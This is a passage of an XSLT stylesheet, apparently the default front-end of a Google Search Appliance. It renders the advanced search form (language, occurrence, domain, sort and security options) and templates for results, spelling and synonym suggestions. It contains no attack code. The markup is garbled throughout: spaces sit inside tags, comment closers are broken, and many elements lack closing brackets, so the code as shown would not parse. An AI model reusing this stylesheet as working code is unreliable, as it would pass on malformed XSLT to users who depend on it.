if (typeof(z.site) != 'undefined')
{p[i++] = 'site=' + esc(z.site.value);}
if (typeof(z.output) != 'undefined')
{p[i++] = 'output=' + esc(z.output.value);}
if (typeof(z.proxystylesheet) != 'undefined')
{p[i++] = 'proxystylesheet=' + esc(z.proxystylesheet.value);}
if (typeof(z.ie) != 'undefined')
{p[i++] = 'ie=' + esc(z.ie.value);}
if (typeof(z.oe) != 'undefined')
{p[i++] = 'oe=' + esc(z.oe.value);}
if (typeof(z.restrict) != 'undefined')
{p[i++] = 'restrict=' + esc(z.restrict.value);}
if (typeof(z.access) != 'undefined')
{p[i++] = 'access=' + esc(z.access.value);}
if (custom != '')
{p[i++] = 'proxycustom=' + '<ADVANCED/>';}
if (p.length > 0) {
url = p[0];
for (var j = 1; j < p.length; j++) { url += "&" + p[j]; }}
location.href = target + '?' + url;
}
// </xsl:comment >
< /script >
<xsl:call-template name="langHeadEnd"/ >
<body class="d" onload="setFocus()" >
<!-- ** Customer's own advanced search page header ** -- >
<xsl:if test="$choose_adv_search_page_header = 'mine' or
$choose_adv_search_page_header = 'both'" >
<xsl:call-template name="my_page_header"/ >
</xsl:if >
<!--====Advanced Search Header======-- >
<xsl:if test="$choose_adv_search_page_header = 'provided' or
$choose_adv_search_page_header = 'both'" >
<xsl:call-template name="advanced_search_header"/ >
</xsl:if >
<!--====Carry over Search Parameters======-- >
<form method="get" action="/search" name="f" >
<xsl:if test="PARAM[@name='client']" >
<input type="hidden" name="client"
value="{PARAM[@name='client']/@value}" / >
</xsl:if >
<xsl:if test="PARAM[@name='site']" >
<input type="hidden" name="site" value="{PARAM[@name='site']/@value}"/
</xsl:if >
<xsl:if test="PARAM[@name='output']" >
<input type="hidden" name="output"
value="{PARAM[@name='output']/@value}" / >
</xsl:if >
<xsl:if test="PARAM[@name='proxystylesheet']" >
<input type="hidden" name="proxystylesheet"
value="{PARAM[@name='proxystylesheet']/@value}" / >
</xsl:if >
<xsl:if test="PARAM[@name='ie']" >
<input type="hidden" name="ie"
value="{PARAM[@name='ie']/@value}" / >
</xsl:if >
<xsl:if test="PARAM[@name='oe']" >
<input type="hidden" name="oe"
value="{PARAM[@name='oe']/@value}" / >
</xsl:if >
<xsl:if test="PARAM[@name='restrict'] and
$search_subcollections_xslt = ''" >
<input type="hidden" name="restrict"
value="{PARAM[@name='restrict']/@value}" / >
</xsl:if >
<!--====Advanced Search Options======-- >
<table cellpadding="6" cellspacing="0" border="0" width="99%" >
<tr >
<td ><b >Advanced Web Search</b ></td >
</tr >
</table >
<table cellspacing="0" cellpadding="3" border="0" width="99%" >
<tr bgcolor="{$adv_search_panel_bgcolor}" >
<td >
<table width="100%" cellspacing="0" cellpadding="0" border="0" >
<tr bgcolor="{$adv_search_panel_bgcolor}" >
<td >
<table width="100%" cellspacing="0" cellpadding="2"
border="0" >
<tr >
<td valign="top" width="15%" ><font size="-1" ><br / >
<b >Find results</b ></font > </td >
<td width="85%" >
<table width="100%" cellpadding="2"
border="0" cellspacing="0" >
<tr >
<td ><font size="-1" >with <b >all</b >
of the words</font ></td >
<td >
<xsl:text disable-output-escaping="yes" >
<input type="text"
name="as_q"
size="25" value="</xsl:text >
<xsl:value-of disable-output-escaping="yes"
select="$html_escaped_as_q"/ >
<xsl:text disable-output-escaping="yes" >"></xsl:text >
<script type="text/javascript" >
<xsl:comment >
document.f.as_q.focus();
// </xsl:comment >
</script >
</td >
<td valign="top" rowspan="4" >
<font size="-1" >
<select name="num" >
<xsl:choose >
<xsl:when test="PARAM[(@name='num') and (@value!='10')]" >
<option value="10" >10 results</option >
</xsl:when >
<xsl:otherwise >
<option value="10" selected="selected" >10
results</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='num') and (@value='20')]" >
<option value="20" selected="selected" >20
results</option >
</xsl:when >
<xsl:otherwise >
<option value="20" >20 results</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='num') and (@value='30')]" >
<option value="30" selected="selected" >30
results</option >
</xsl:when >
<xsl:otherwise >
<option value="30" >30 results</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='num') and (@value='50')]" >
<option value="50" selected="selected" >50
results</option >
</xsl:when >
<xsl:otherwise >
<option value="50" >50 results</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='num') and (@value='100')]" >
<option value="100" selected="selected" >100
results</option >
</xsl:when >
<xsl:otherwise >
<option value="100" >100 results</option >
</xsl:otherwise >
</xsl:choose >
</select >
</font >
</td >
<xsl:call-template name="subcollection_menu"/ >
<td >
<font size="-1" >
<input type="submit" name="btnG"
value="{$search_button_text}" / >
</font >
</td >
</tr >
<tr >
<td nowrap="nowrap" ><font size="-1" >with the
<b >exact phrase</b ></font ></td >
<td >
<xsl:text disable-output-escaping="yes" >
<input type="text"
name="as_epq"
size="25" value="</xsl:text >
<xsl:value-of disable-output-escaping="yes"
select="$html_escaped_as_epq"/ >
<xsl:text disable-output-escaping="yes" >"></xsl:text >
</td >
</tr >
<tr >
<td nowrap="nowrap" ><font size="-1" >with <b >any</b >
of the words</font ></td >
<td >
<xsl:text disable-output-escaping="yes" >
<input type="text"
name="as_oq"
size="25" value="</xsl:text >
<xsl:value-of disable-output-escaping="yes"
select="$html_escaped_as_oq"/ >
<xsl:text disable-output-escaping="yes" >"></xsl:text >
</td >
</tr >
<tr >
<td nowrap="nowrap" ><font size="-1" ><b >without</b >
the words</font ></td >
<td >
<xsl:text disable-output-escaping="yes" >
<input type="text"
name="as_eq"
size="25" value="</xsl:text >
<xsl:value-of disable-output-escaping="yes"
select="$html_escaped_as_eq"/ >
<xsl:text disable-output-escaping="yes" >"></xsl:text >
</td >
</tr >
</table >
</td >
</tr >
</table >
</td >
</tr >
<tr bgcolor="{$global_bg_color}" >
<td >
<table width="100%" cellspacing="0"
cellpadding="2" border="0" >
<tr >
<td width="15%" ><font size="-1" ><b >Language</b ></font ></td
<td width="40%" ><font size="-1" >Return pages written
in</font ></td >
<td ><font size="-1" >
<xsl:choose >
<xsl:when test="PARAM[(@name='oe') and (@value!='')]" >
<xsl:text disable-output-escaping="yes" ><select
name="lr"></xsl:text >
</xsl:when >
<xsl:otherwise >
<xsl:text disable-output-escaping="yes" ><select name="lr"
onchange="javascript:collecturl('/search', 'adv');"></xsl:text >
</xsl:otherwise >
</xsl:choose >
<option value="" >any language</option >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and
(@value='lang_zh-CN')]" >
<option value="lang_zh-CN"
selected="selected" >Chinese (Simplified)</option >
</xsl:when >
<xsl:otherwise >
<option value="lang_zh-CN" >Chinese (Simplified)</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and
(@value='lang_zh-TW')]" >
<option value="lang_zh-TW"
selected="selected" >Chinese (Traditional)</option >
</xsl:when >
<xsl:otherwise >
<option value="lang_zh-TW" >Chinese (Traditional)</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_cs')]" >
<option value="lang_cs" selected="selected" >Czech</option >
</xsl:when >
<xsl:otherwise >
<option value="lang_cs" >Czech</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_da')]" >
<option value="lang_da" selected="selected" >Danish</option
</xsl:when >
<xsl:otherwise >
<option value="lang_da" >Danish</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_nl')]" >
<option value="lang_nl" selected="selected" >Dutch</option >
</xsl:when >
<xsl:otherwise >
<option value="lang_nl" >Dutch</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_en')]" >
<option value="lang_en" selected="selected" >English</option
</xsl:when >
<xsl:otherwise >
<option value="lang_en" >English</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_et')]" >
<option value="lang_et" selected="selected"
Estonian</option >
</xsl:when >
<xsl:otherwise >
<option value="lang_et" >Estonian</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_fi')]" >
<option value="lang_fi" selected="selected" >Finnish</option
</xsl:when >
<xsl:otherwise >
<option value="lang_fi" >Finnish</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_fr')]" >
<option value="lang_fr" selected="selected" >French</option
</xsl:when >
<xsl:otherwise >
<option value="lang_fr" >French</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_de')]" >
<option value="lang_de" selected="selected" >German</option
</xsl:when >
<xsl:otherwise >
<option value="lang_de" >German</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_el')]" >
<option value="lang_el" selected="selected" >Greek</option >
</xsl:when >
<xsl:otherwise >
<option value="lang_el" >Greek</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_iw')]" >
<option value="lang_iw" selected="selected" >Hebrew</option
</xsl:when >
<xsl:otherwise >
<option value="lang_iw" >Hebrew</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_hu')]" >
<option value="lang_hu" selected="selected"
Hungarian</option >
</xsl:when >
<xsl:otherwise >
<option value="lang_hu" >Hungarian</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_is')]" >
<option value="lang_is" selected="selected"
Icelandic</option >
</xsl:when >
<xsl:otherwise >
<option value="lang_is" >Icelandic</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_it')]" >
<option value="lang_it" selected="selected" >Italian</option
</xsl:when >
<xsl:otherwise >
<option value="lang_it" >Italian</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_ja')]" >
<option value="lang_ja" selected="selected"
Japanese</option >
</xsl:when >
<xsl:otherwise >
<option value="lang_ja" >Japanese</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_ko')]" >
<option value="lang_ko" selected="selected" >Korean</option
</xsl:when >
<xsl:otherwise >
<option value="lang_ko" >Korean</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_lv')]" >
<option value="lang_lv" selected="selected" >Latvian</option
</xsl:when >
<xsl:otherwise >
<option value="lang_lv" >Latvian</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_lt')]" >
<option value="lang_lt" selected="selected"
Lithuanian</option >
</xsl:when >
<xsl:otherwise >
<option value="lang_lt" >Lithuanian</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_no')]" >
<option value="lang_no" selected="selected"
Norwegian</option >
</xsl:when >
<xsl:otherwise >
<option value="lang_no" >Norwegian</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_pl')]" >
<option value="lang_pl" selected="selected" >Polish</option
</xsl:when >
<xsl:otherwise >
<option value="lang_pl" >Polish</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_pt')]" >
<option value="lang_pt" selected="selected"
Portuguese</option >
</xsl:when >
<xsl:otherwise >
<option value="lang_pt" >Portuguese</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_ro')]" >
<option value="lang_ro" selected="selected"
Romanian</option >
</xsl:when >
<xsl:otherwise >
<option value="lang_ro" >Romanian</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_ru')]" >
<option value="lang_ru" selected="selected" >Russian</option
</xsl:when >
<xsl:otherwise >
<option value="lang_ru" >Russian</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_es')]" >
<option value="lang_es" selected="selected" >Spanish</option
</xsl:when >
<xsl:otherwise >
<option value="lang_es" >Spanish</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='lr') and (@value='lang_sv')]" >
<option value="lang_sv" selected="selected" >Swedish</option
</xsl:when >
<xsl:otherwise >
<option value="lang_sv" >Swedish</option >
</xsl:otherwise >
</xsl:choose >
<xsl:text disable-output-escaping="yes" ></select></xsl:text >
</font ></td >
</tr >
</table >
</td >
</tr >
<tr bgcolor="{$global_bg_color}" >
<td >
<table width="100%" cellspacing="0"
cellpadding="2" border="0" >
<tr >
<td width="15%" ><font size="-1" ><b >Occurrences</b ></font
</td >
<td nowrap="nowrap" width="40%" ><font size="-1" >Return
results where my terms occur</font ></td >
<td ><font size="-1" ><select
name="as_occt" >
<xsl:choose >
<xsl:when test="PARAM[(@name='as_occt') and (@value!='any')]"
<option value="any" > anywhere in the page </option >
</xsl:when >
<xsl:otherwise >
<option value="any" selected="selected" >
anywhere in the page
</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='as_occt') and
(@value='title')]" >
<option value="title" selected="selected" >in the title of
the page</option >
</xsl:when >
<xsl:otherwise >
<option value="title" >in the title of the page</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='as_occt') and (@value='url')]"
<option value="url" selected="selected" >in the url of the
page</option >
</xsl:when >
<xsl:otherwise >
<option value="url" >in the url of the page</option >
</xsl:otherwise >
</xsl:choose >
</select ></font ></td >
</tr >
</table >
</td >
</tr >
<tr bgcolor="{$global_bg_color}" >
<td >
<table width="100%" cellpadding="2"
cellspacing="0" border="0" >
<tr >
<td width="15%" ><font size="-1" ><b >Domains</b ></font ></td
<td width="40%" nowrap="nowrap" ><font size="-1" ><select
name="as_dt" >
<xsl:choose >
<xsl:when test="PARAM[(@name='as_dt') and (@value='i')]" >
<option value="i" selected="selected" >Only</option >
</xsl:when >
<xsl:otherwise >
<option value="i" >Only</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='as_dt') and (@value='e')]" >
<option value="e" selected="selected" >Don't</option >
</xsl:when >
<xsl:otherwise >
<option value="e" >Don't</option >
</xsl:otherwise >
</xsl:choose >
</select >return results from the site or domain</font ></td >
<td >
<table cellpadding="0" cellspacing="0"
border="0" >
<tr >
<td >
<xsl:choose >
<xsl:when test="PARAM[@name='as_sitesearch']" >
<input type="text" size="25"
value="{PARAM[@name='as_sitesearch']/@value}"
name="as_sitesearch" / >
</xsl:when >
<xsl:otherwise >
<input type="text" size="25" value=""
name="as_sitesearch" / >
</xsl:otherwise >
</xsl:choose >
</td >
</tr >
<tr >
<td valign="top" nowrap="nowrap" ><font size="-1" >
<i >e.g. google.com, .org</i ></font ></td >
</tr >
</table >
</td >
</tr >
<!-- Sort by Date feature -- >
<tr >
<td width="15%" ><font size="-1" ><b >Sort</b ></font ></td >
<td width="40%" nowrap="nowrap" ><font size="-1" ><select
name="sort" >
<xsl:choose >
<xsl:when test="PARAM[(@name='sort') and (@value='')]" >
<option value="" selected="selected" >by Relevance</option >
</xsl:when >
<xsl:otherwise >
<option value="" >by Relevance</option >
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="PARAM[(@name='sort') and
(@value='date:D:S:d1')]" >
<option value="date:D:S:d1" selected="selected" >by
Date</option >
</xsl:when >
<xsl:otherwise >
<option value="date:D:S:d1" >by Date</option >
</xsl:otherwise >
</xsl:choose >
</select ></font ></td >
</tr >
<!-- Secure Search feature -- >
<xsl:if test="$show_secure_radio != '0'" >
<tr >
<td width="15%" ><font size="-1" ><b >Security</b ></font ></td
<td width="40%" nowrap="nowrap" ><font size="-1" >
<xsl:choose >
<xsl:when test="$access='p'" >
<input type="radio" name="access" value="p"
checked="checked" / >Search public content only
</xsl:when >
<xsl:otherwise >
<input type="radio" name="access" value="p"/ >Search public
content only
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="$access='a'" >
<input type="radio" name="access" value="a"
checked="checked" / >Search public and secure content (login required)
</xsl:when >
<xsl:otherwise >
<input type="radio" name="access" value="a"/ >Search public
and secure content (login required)
</xsl:otherwise >
</xsl:choose >
</font ></td >
</tr >
</xsl:if >
</table >
</td >
</tr >
</table >
</td >
</tr >
</table >
<br / >
<br / >
<!--====Page-Specific Search======-- >
<table cellpadding="6" cellspacing="0" border="0" >
<tr >
<td ><b >Page-Specific Search</b ></td >
</tr >
</table >
<table cellspacing="0" cellpadding="3" border="0"
width="99%" >
<tr bgcolor="{$adv_search_panel_bgcolor}" >
<td >
<table width="100%" cellpadding="0" cellspacing="0"
border="0" >
<tr bgcolor="{$adv_search_panel_bgcolor}" >
<td >
<table width="100%" cellpadding="2"
cellspacing="0" border="0" >
<form method="get" action="/search" name="h" >
<tr bgcolor="{$global_bg_color}" >
<td width="15%" ><font size="-1" ><b >Links</b ></font ></td >
<td width="40%" nowrap="nowrap" ><font size="-1" >Find pages
that link to the page</font > </td >
<td nowrap="nowrap" >
<xsl:choose >
<xsl:when test="PARAM[@name='as_lq']" >
<input type="text" size="30"
value="{PARAM[@name='as_lq']/@value}"
name="as_lq" / >
</xsl:when >
<xsl:otherwise >
<input type="text" size="30" value="" name="as_lq" / >
</xsl:otherwise >
</xsl:choose >
<font size="-1" >
<input type="submit" name="btnG" value="{$search_button_text}"
/ ></font >
</td >
</tr >
</form >
</table >
</td >
</tr >
</table >
</td >
</tr >
</table >
<xsl:call-template name="copyright"/ >
</form >
<!-- ** Customer's own advanced search page footer ** -- >
<xsl:call-template name="my_page_footer"/ >
</body >
< /html >
< /xsl:template >
< !-- ***********************************
Resend query with filter=p to disable path_filtering
if there is only one result cluster (do not customize)
*********************************** -- >
< xsl:template name="redirect_if_few_results" >
<xsl:variable name="count" select="count(/GSP/RES/R)"/ >
<xsl:variable name="start" select="/GSP/RES/@SN"/ >
<xsl:variable name="filterall"
select="count(/GSP/PARAM[@name='filter']) = 0"/ >
<xsl:variable name="filter" select="/GSP/PARAM[@name='filter']/@value"/ >
<xsl:if test="$count = 2 and $start = 1 and ($filterall or $filter =
'1')" >
<meta HTTP-EQUIV="REFRESH" content="0;url={$filter_url}p"/ >
</xsl:if >
< /xsl:template >
< !-- ***********************************
Search results (do not customize)
*********************************** -- >
< xsl:template name="search_results" >
< html >
<!-- ** HTML header and style ** -- >
<xsl:call-template name="langHeadStart"/ >
<xsl:call-template name="redirect_if_few_results"/ >
<title ><xsl:value-of select="$result_page_title"/ >: <xsl:value-of
disable-output-escaping="yes" select="$html_escaped_query"/ >
</title >
<xsl:call-template name="style"/ >
<script type="text/javascript" >
<xsl:comment >
function resetForms() {
for (var i = 0; i < document.forms.length; i++ ) {
document.forms[i].reset();
}
}
//</xsl:comment >
</script >
<xsl:call-template name="langHeadEnd"/ >
<body onLoad="resetForms()" >
<!-- ** Customer's own result page header ** -- >
<xsl:if test="$choose_result_page_header = 'mine' or
$choose_result_page_header = 'both'" >
<xsl:call-template name="my_page_header"/ >
</xsl:if >
<!-- ** Result page header ** -- >
<xsl:if test="$choose_result_page_header = 'provided' or
$choose_result_page_header = 'both'" >
<xsl:call-template name="result_page_header" / >
</xsl:if >
<!-- ** Top separation bar ** -- >
<xsl:if test="Q != ''" >
<xsl:call-template name="top_sep_bar" >
<xsl:with-param name="query" select="Q"/ >
<xsl:with-param name="time" select="TM"/ >
</xsl:call-template >
</xsl:if >
<xsl:if test="$choose_sep_bar = 'line'" >
<hr size="1" color="gray"/ >
</xsl:if >
<!-- ** Handle results (if any) ** -- >
<xsl:choose >
<xsl:when test="RES or GM or Spelling or Synonyms or CT" >
<xsl:call-template name="results" >
<xsl:with-param name="query" select="Q"/ >
<xsl:with-param name="time" select="TM"/ >
</xsl:call-template >
</xsl:when >
<xsl:when test="Q=''" >
</xsl:when >
<xsl:otherwise >
<xsl:call-template name="no_RES" >
<xsl:with-param name="query" select="Q"/ >
</xsl:call-template >
</xsl:otherwise >
</xsl:choose >
<!-- ** Google footer ** -- >
<xsl:call-template name="copyright"/ >
<!-- ** Customer's own result page footer ** -- >
<xsl:call-template name="my_page_footer"/ >
<!-- ** HTML footer ** -- >
</body >
< /html >
< /xsl:template >
< !-- ***********************************
Subcollection menu beside the search box
*********************************** -- >
< xsl:template name="subcollection_menu" >
<xsl:if test="$search_subcollections_xslt != ''" >
<td valign="middle" >
<select name="restrict" >
<xsl:choose >
<xsl:when test="PARAM[(@name='restrict') and (@value!='')]" >
<option value="" >All documents</option >
</xsl:when >
<xsl:otherwise >
<option value="" selected="selected" >All documents</option >
</xsl:otherwise >
</xsl:choose >
</select >
</td >
</xsl:if >
< /xsl:template >
< !-- ***********************************
Search box input form
*********************************** -- >
< xsl:template name="search_box" >
<form name="gs" method="GET" action="/search" >
<table cellpadding="0" cellspacing="0" >
<tr >
<td valign="middle" >
<font size="-1" >
<xsl:text disable-output-escaping="yes" >
<input type="text" name="q"
size="</xsl:text >
<xsl:value-of select="$search_box_size"/ >
<xsl:text disable-output-escaping="yes"
>" maxlength="256" value="</xsl:text >
<xsl:value-of disable-output-escaping="yes"
select="$html_escaped_query"/ >
<xsl:text disable-output-escaping="yes" >"></xsl:text >
</font >
</td >
<xsl:call-template name="subcollection_menu"/ >
<td valign="middle" >
<font size="-1" >
<xsl:call-template name="nbsp"/ >
<xsl:choose >
<xsl:when test="$choose_search_button = 'image'" >
<input type="image" name="btnG" src="{$search_button_image_url}"
valign="bottom" width="60" height="26"
border="0" value="{$search_button_text}"/ >
</xsl:when >
<xsl:otherwise >
<input type="submit" name="btnG" value="{$search_button_text}"/ >
</xsl:otherwise >
</xsl:choose >
</font >
</td >
</tr >
<xsl:if test="$show_secure_radio != '0'" >
<tr >
<td colspan="2" >
<font size="-1" >Search:
<xsl:choose >
<xsl:when test="$access='p'" >
<input type="radio" name="access" value="p" checked="checked" /
public content
</xsl:when >
<xsl:otherwise >
<input type="radio" name="access" value="p"/ >public content
</xsl:otherwise >
</xsl:choose >
<xsl:choose >
<xsl:when test="$access='a'" >
<input type="radio" name="access" value="a" checked="checked" /
public and secure content
</xsl:when >
<xsl:otherwise >
<input type="radio" name="access" value="a"/ >public and secure
content
</xsl:otherwise >
</xsl:choose >
</font >
</td >
</tr >
</xsl:if >
</table >
<xsl:text >
</xsl:text >
<xsl:call-template name="form_params"/ >
</form >
< /xsl:template >
< !-- ***********************************
Bottom search box (do not customized)
*********************************** -- >
< xsl:template name="bottom_search_box" >
<br clear="all"/ >
<br/ >
<center >
<table border="0" cellpadding="2" cellspacing="0" >
<tr >
<td nowrap="1" >
<xsl:call-template name="search_box"/ >
</td >
</tr >
</table >
</center >
< /xsl:template >
< !-- ***********************************
Sort-by criteria: sort by date/relevance
*********************************** -- >
< xsl:template name="sort_by" >
<xsl:variable name="sort_by_relevance_url" ><xsl:for-each
select="/GSP/PARAM[(@name != 'sort') and
(@name != 'start')]" >
<xsl:value-of select="@name"/ ><xsl:text >=</xsl:text >
<xsl:value-of select="@original_value"/ >
<xsl:if test="position() != last()" >
<xsl:text disable-output-escaping="yes" >&</xsl:text >
</xsl:if >
</xsl:for-each >
</xsl:variable >
<xsl:variable name="sort_by_date_url" >
<xsl:value-of select="$search_url"
/ >&sort=date%3AD%3AS%3Ad1</xsl:variable >
<table ><tr valign='top' ><td >
<span class="s" >
<font color="{$global_text_color}" >
<xsl:text >Sort by: </xsl:text >
</font >
<xsl:choose >
<xsl:when test="/GSP/PARAM[@name = 'sort' and
starts-with(@value,'date')]" >
<font color="{$global_text_color}" >
<xsl:text >Date / </xsl:text >
</font >
<a href="/search?{$sort_by_relevance_url}" >Relevance</a >
</xsl:when >
<xsl:otherwise >
<a href="/search?{$sort_by_date_url}" >Date</a >
<font color="{$global_text_color}" >
<xsl:text > / Relevance</xsl:text >
</font >
</xsl:otherwise >
</xsl:choose >
</span >
</td ></tr ></table >
< /xsl:template >
< !-- ***********************************
Output all results
*********************************** -- >
< xsl:template name="results" >
<xsl:param name="query"/ >
<xsl:param name="time"/ >
<!-- ** Add top navigation/sort-by bar ** -- >
<table width="100%" >
<tr >
<xsl:if test="$show_top_navigation != '0'" >
<td align="left" >
<xsl:call-template name="google_navigation" >
<xsl:with-param name="prev" select="RES/NB/PU"/ >
<xsl:with-param name="next" select="RES/NB/NU"/ >
<xsl:with-param name="view_begin" select="RES/@SN"/ >
<xsl:with-param name="view_end" select="RES/@EN"/ >
<xsl:with-param name="guess" select="RES/M"/ >
<xsl:with-param name="navigation_style" select="'top'"/ >
</xsl:call-template >
</td >
</xsl:if >
<xsl:if test="$show_sort_by != '0'" >
<td align="right" >
<xsl:call-template name="sort_by"/ >
</td >
</xsl:if >
</tr >
</table >
<!-- ** Handle spelling suggestions, if any ** -- >
<xsl:if test="$show_spelling != '0'" >
<xsl:call-template name="spelling"/ >
</xsl:if >
<!-- ** Handle synonyms, if any ** -- >
<xsl:if test="$show_synonyms != '0'" >
<xsl:call-template name="synonyms"/ >
</xsl:if >
<!-- ** Output results details ** -- >
<div >
<!-- for keymatch results -- >
<xsl:if test="$show_keymatch != '0'" >
<xsl:apply-templates select="/GSP/GM"/ >
</xsl:if >
<!-- for real results -- >
<xsl:apply-templates select="RES/R" >
<xsl:with-param name="query" select="$query"/ >
</xsl:apply-templates >
<!-- ** Filter note (if needed) ** -- >
<xsl:if test="(RES/FI) and (not(RES/NB/NU))" >
<p >
<i >
In order to show you the most relevant results, we have omitted
some entries very similar to the <xsl:value-of select="RES/@EN"/ >
already displayed.
<br/ >If you like, you can <a href="{$filter_url}0" >
repeat the search with the omitted results included</a >.
</i >
</p >
</xsl:if >
</div >
<!-- ** Add bottom navigation ** -- >
<xsl:variable name="nav_style" >
<xsl:choose >
<xsl:when test="($access='s') or ($access='a')" >simple</xsl:when >
<xsl:otherwise >
<xsl:value-of select="$choose_bottom_navigation"/ >
</xsl:otherwise >
</xsl:choose >
</xsl:variable >
<xsl:call-template name="google_navigation" >
<xsl:with-param name="prev" select="RES/NB/PU"/ >
<xsl:with-param name="next" select="RES/NB/NU"/ >
<xsl:with-param name="view_begin" select="RES/@SN"/ >
<xsl:with-param name="view_end" select="RES/@EN"/ >
<xsl:with-param name="guess" select="RES/M"/ >
<xsl:with-param name="navigation_style" select="$nav_style"/ >
</xsl:call-template >
<!-- ** Bottom search box ** -- >
<xsl:if test="$show_bottom_search_box != '0'" >
<xsl:call-template name="bottom_search_box"/ >
</xsl:if >
< /xsl:template >
< !-- ***********************************
Stopwords suggestions in result page (do not customize)
*********************************** -- >
< xsl:template name="stopwords" >
<xsl:variable name="stopwords_suggestions1" >
<xsl:call-template name="replace_string" >
<xsl:with-param name="find" select="'/help/basics.html#stopwords'"/ >
<xsl:with-param name="replace" select="'basics.html#stopwords'"/ >
<xsl:with-param name="string" select="/GSP/CT"/ >
</xsl:call-template >
</xsl:variable >
<xsl:variable name="stopwords_suggestions" >
<xsl:call-template name="replace_string" >
<xsl:with-param name="find" select="'/help/basics.html'"/ >
<xsl:with-param name="replace" select="'basics.html'"/ >
<xsl:with-param name="string" select="$stopwords_suggestions1"/ >
</xsl:call-template >
</xsl:variable >
<xsl:if test="/GSP/CT" >
<font size="-1" color="gray" >
<xsl:value-of disable-output-escaping="yes"
select="$stopwords_suggestions"/ >
</font >
</xsl:if >
< /xsl:template >
< !-- ***********************************
Spelling suggestions in result page (do not customize)
*********************************** -- >
< xsl:template name="spelling" >
<xsl:if test="/GSP/Spelling/Suggestion" >
<p ><span class="p" ><font color="{$spelling_text_color}" >
<xsl:value-of select="$spelling_text"/ >
<xsl:call-template name="nbsp"/ >
</font ></span >
<a
href="/search?q={/GSP/Spelling/Suggestion[1]/@q}&spell=1&{$base_url}" >
<xsl:value-of disable-output-escaping="yes"
select="/GSP/Spelling/Suggestion[1]"/ >
</a >
</p >
</xsl:if >
< /xsl:template >
< !-- ***********************************
Synonym suggestions in result page (do not customize)
*********************************** -- >
< xsl:template name="synonyms" >
<xsl:if test="/GSP/Synonyms/OneSynonym" >
<p ><span class="p" ><font color="{$synonyms_text_color}" >
<xsl:value-of select="$synonyms_text"/ >
<xsl:call-template name="nbsp"/ >
</font ></span >
<xsl:for-each select="/GSP/Synonyms/OneSynonym" >
<a href="/search?q={@q}&{$synonym_url}" >
<xsl:value-of disable-output-escaping="yes" select="."/ >
</a ><xsl:text > </xsl:text >
</xsl:for-each >
</p >
</xsl:if >
< /xsl:template >
< !-- ***********************************
A single result (do not customize)
*********************************** -- >
< xsl:template match="R" >
<xsl:param name="query"/ >
<xsl:variable name="stripped_url" select="substring-after(U, '://')"/ >
<xsl:variable name="full_url" select="UE"/ >
<xsl:variable name="crowded_url" select="HN/@U"/ >
<xsl:variable name="crowded_display_url" select="HN"/ >
<xsl:variable name="lower" select="'abcdefghijklmnopqrstuvwxyz'"/ >
<xsl:variable name="upper" select="'ABCDEFGHIJKLMNOPQRSTUVWXYZ'"/ >
<!-- ** Indent as required (only supports 2 levels) ** -- >
<xsl:if test="@L='2'" ><xsl:text
